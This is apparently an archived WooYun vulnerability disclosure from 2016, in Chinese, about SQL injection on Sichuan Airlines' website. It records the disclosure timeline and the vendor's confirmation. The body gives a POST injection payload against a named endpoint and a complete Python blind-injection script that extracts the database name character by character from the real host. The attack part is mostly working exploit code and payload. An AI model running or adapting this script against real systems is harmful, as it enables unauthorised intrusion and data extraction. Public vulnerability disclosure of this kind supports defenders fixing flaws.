当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0186663

漏洞标题:四川航空某处SQL注入漏洞(附脚本)

相关厂商:四川航空股份有限公司

漏洞作者: 路人甲

提交时间:2016-03-19 17:40

修复时间:2016-05-05 14:07

公开时间:2016-05-05 14:07

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-19: 细节已通知厂商并且等待厂商处理中
2016-03-21: 厂商已经确认,细节仅向厂商公开
2016-03-31: 细节向核心白帽子及相关领域专家公开
2016-04-10: 细节向普通白帽子公开
2016-04-20: 细节向实习白帽子公开
2016-05-05: 细节向公众公开

简要描述:

详细说明:

四川航空主站存在SQL注入漏洞
POST:

http://www.scal.com.cn/Web/Home/GetTerminalServicesList 
orgCity=-1' OR len(db_name())=9 or 'a'='


为真时:

5.png

为假时:

6.png

DB长度为9:

7.png

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive DB:'
db = ''
for i in range(1,10):
for payload in payloads:
conn = httplib.HTTPConnection('www.scal.com.cn', timeout=60)
s = "orgCity=-1' OR ascii(substring(db_name(),%s,1))=%s or 'a'='" % (i, ord(payload))
s=urllib.quote(s,'?,=,&,/')

conn.request(method='POST', url='/Web/Home/GetTerminalServicesList', body=s,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '.',
#print html_doc
if html_doc.find('65393013')>0 : # False
db += payload
print '\n[in progress]', db
break

print '\n[Done] DB is:', db

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-21 14:07

厂商回复:

感谢路人甲提供的漏洞信息,我们将尽快解决该问题。

最新状态:

暂无